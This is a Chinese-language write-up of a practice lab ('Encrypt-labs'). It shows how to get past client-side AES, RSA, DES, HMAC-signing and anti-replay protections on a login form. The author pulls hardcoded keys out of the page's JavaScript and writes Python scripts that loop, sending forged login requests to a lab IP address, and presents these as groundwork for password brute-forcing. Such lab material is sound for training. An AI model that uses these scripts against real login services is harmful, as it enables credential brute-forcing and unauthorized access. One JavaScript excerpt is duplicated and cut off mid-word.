Encrypt-labs(无混淆)
AES固定key
进入靶场是一个登陆页面,输入账号密码admin/123456进行登陆,并抓包 发现数据包被加密了,加密参数为 encryptedData

直接跟进js查看对应参数所在位置,直接在进入位置下断点(这里也就是对应27行),再次抓包

得到如下所示:

往上寻找就能发现对应的加密函数
function sendDataAes(url) {
const formData = {
username: document.getElementById("username")
.value,
password: document.getElementById("password")
.value
};
const jsonData = JSON.stringify(formData);
const key = CryptoJS.enc.Utf8.parse("1234567890123456");
const iv = CryptoJS.enc.Utf8.parse("1234567890123456");
const encrypted = CryptoJS.AES.encrypt(jsonData, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
})
.toString();
const params = `encryptedData=${encodeURIComponent(encrypted)}
根据断点信息可知:此处加密采用AES-CBC-PKCS5Padding,并且Key和 IV 也给出了采用硬编码的格式(就是不通过变量或配置文件来表示,直接将具体的数值、路径、参数等直接写入程序代码中)
那么我们就可以利用BP插件来进行数据包的自动解密,这里用的是autoDecoder这个插件:
输入key / iv,设置正则表达式,正确设置正则表达式之后才可以实现自动解密


配置需要加解密的域名

然后尝试重放

也可以采用另一个插件BurpCrypto


这个工具有个缺点就是第一次尝试需要由用户进行手动测试一次,

AES服务端获取Key
点击第二关抓包,可以获取到两个数据包,一个是服务端返回的key和iv,一个是登录数据包

经过测试发现,重发数据包该key和iv,发现key和iv短时间内不会发生变化,应该是服务端和客户端断连之前,key和iv都会保持不变

{"aes_key":"OUd4SEqDsA1GP2l8WszZnQ==","aes_iv":"RQenJ2Hszn1p7Q6poVngFQ=="}
查看js数据,确定为AES加密

autoDecoder


RSA加密
抓包查看:加密参数是data

进入eazy.js下断点,往上查看,很容易获取到了publickey

经确认为RSA加密,RSA加密需一个公钥,解密需要私钥,没有私钥,只能尝试加密


AES+Rsa加密
抓包查看

下断点往上查看

function sendDataAesRsa(url) {
const formData = {
username: document.getElementById("username")
.value,
password: document.getElementById("password")
.value
};
const jsonData = JSON.stringify(formData);
const key = CryptoJS.lib.WordArray.random(16);
const iv = CryptoJS.lib.WordArray.random(16);
const encryptedData = CryptoJS.AES.encrypt(jsonData, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
})
.toString();
const rsa = new JSEncrypt();
rsa.setPublicKey(`-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----`);
const encryptedKey = rsa.encrypt(key.toString(CryptoJS.enc.Base64));
const encryptedIv = rsa.encrypt(iv.toString(CryptoJS.enc.Base64));
被加密的参数是formData也就是"{"username":"admin","password":"123456"}",经过AES加密,且加密使用的key和iv是16位随机数、得到encryptedData
之后对key和iv进行rsa加密得到encryptedKey和encryptedIv
再将这三个参数传入数据包中,发包进行验证
现在想办法将随机16位的key和iv进行固定,右键选择替换内容,使用本地替换的方式将key和iv固定下来,就选择之前第一关的key和iv即可


再次下断点,查看是否修改成功,可以看到已经修改成功,key和iv变成了1234567890123456


成功替换encryptedData,其中加密的key和iv经过测试似乎不用替换也能通过,就不进行加解密操作了
Des规律Key
抓包查看,可以看到只对password进行了加密

进入js下断点抓包

可以看到就是简单的DES加密,key和iv都使用了username的值
key是八位,如果username不满8位,则用6补满
iv是八位,9999+username的前四位
key:admin666 iv:9999admi

成功解密

明文加签
依旧抓包

可以看到有两个参数不清楚是啥,分别是nonce,signature,还有个时间戳,分析下js看看,依旧是js中下断点,发包

function sendDataWithNonce(url) {
const username = document.getElementById("username")
.value;
const password = document.getElementById("password")
.value;
const nonce = Math.random()
.toString(36)
.substring(2);
const timestamp = Math.floor(Date.now() / 1000);
const secretKey = "be56e057f20f883e";
const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
.toString(CryptoJS.enc.Hex);
nonce:由0-9 a-z生成的10位随机数
dataToSign:username + password + nonce + timestamp
signature:由dataToSign经SHA256加密生成,secretKey为固定值be56e057f20f883e
SHA256在autoDecoer中没有,尝试自写发包器,其中nonce可以随机生成也可以固定
import requests
import time
import hashlib
import hmac
def generate_signature(username, password, nonce, timestamp, secret_key):
data_to_sign = username + password + nonce + str(timestamp)
h = hmac.new(secret_key.encode('utf-8'), digestmod=hashlib.sha256)
h.update(data_to_sign.encode('utf-8'))
return h.hexdigest()
url = "http://82.156.57.228:43899/encrypt/signdata.php"
username = "admin"
password = "123456"
nonce = "dq7kos6hzy"
secret_key = "be56e057f20f883e"
while True:
timestamp = int(time.time())
signature = generate_signature(username, password, nonce, timestamp, secret_key)
headers = {
"Host": "82.156.57.228:43899",
"Content-Length": "163",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://82.156.57.228:43899",
"Referer": "http://82.156.57.228:43899/easy.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "PHPSESSID=q3nlpgst4h9kpdiklq2rcbrnc1",
"Connection": "close"
}
data = {
"username": username,
"password": password,
"nonce": nonce,
"timestamp": timestamp,
"signature": signature
}
response = requests.post(url, json=data, headers=headers)
print(response.status_code)
print(response.text)
time.sleep(1) # 发包间隔

加签key在服务端
依旧抓包,发送了俩数据包


通过第一个数据包获取signature,第二个数据包发包时加上这个,达到加签key在服务端的效果
emmm测试了下,如果要做密码爆破操作的话,需要发第一个包
获取对应的signature值,丢到第二个包中,依旧是自写脚本即可,不难,这里不演示了。
禁止重放
还是抓包 账号密码还是明文的,多次重放发现返回No Repeater

其中加密参数为random,分析js看看
依旧是断点,查看

function generateRequestData() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const timestamp = Date.now();
const publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----`;
function rsaEncrypt(data, publicKey) {
const jsEncrypt = new JSEncrypt();
jsEncrypt.setPublicKey(publicKey);
const encrypted = jsEncrypt.encrypt(data.toString());
if (!encrypted) {
throw new Error("RSA encryption failed.");
}
return encrypted;
}
// Encrypt the timestamp
let encryptedTimestamp;
try {
encryptedTimestamp = rsaEncrypt(timestamp, publicKey);
} catch (error) {
console.error("Encryption error:", error);
return null;
}
const dataToSend = {
username: username,
password: password,
random: encryptedTimestamp // Replace timestamp with encrypted version
};
return dataToSend;
}
function sendLoginRequest(url) {
const dataToSend = generateRequestData();unction sendLoginRequest(url) {
const dataToSend = generateRequestData();
function generateRequestData() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const timestamp = Date.now();
现在是要寻找random参数怎么来的,根据上面js可知是通过encryptedTimestamp来的,encryptedTimestamp是通过时间戳经过RSA加密来的,依旧写一个发包器来实现
import requests
import json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from base64 import b64encode, b64decode
import time
def rsa_encrypt(data, public_key):
"""
RSA加密,Base64格式
"""
key = RSA.import_key(public_key)
cipher = PKCS1_v1_5.new(key)
encrypted_data = cipher.encrypt(data.encode('utf-8'))
return b64encode(encrypted_data).decode('utf-8')
def generate_request_data():
"""
生成random字段
"""
username = "admin"
password = "123456"
timestamp = str(int(round(time.time() * 1000))) # 时间戳
print(timestamp)
public_key = """-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB\n-----END PUBLIC KEY-----"""
encrypted_timestamp = rsa_encrypt(timestamp, public_key)
data_to_send = {
"username": username,
"password": password,
"random": encrypted_timestamp
}
print(data_to_send)
return data_to_send
def send_request():
url = "http://82.156.57.228:43899/encrypt/norepeater.php"
headers = {
"Host": "82.156.57.228:43899",
"Content-Length": "224",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Content-Type": "application/json; charset=utf-8",
"Accept": "*/*",
"Origin": "http://82.156.57.228:43899",
"Referer": "http://82.156.57.228:43899/easy.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
data = generate_request_data()
response = requests.post(url, headers=headers, data=json.dumps(data))
print(response.text)
if __name__ == "__main__":
while True:
send_request()
time.sleep(5)



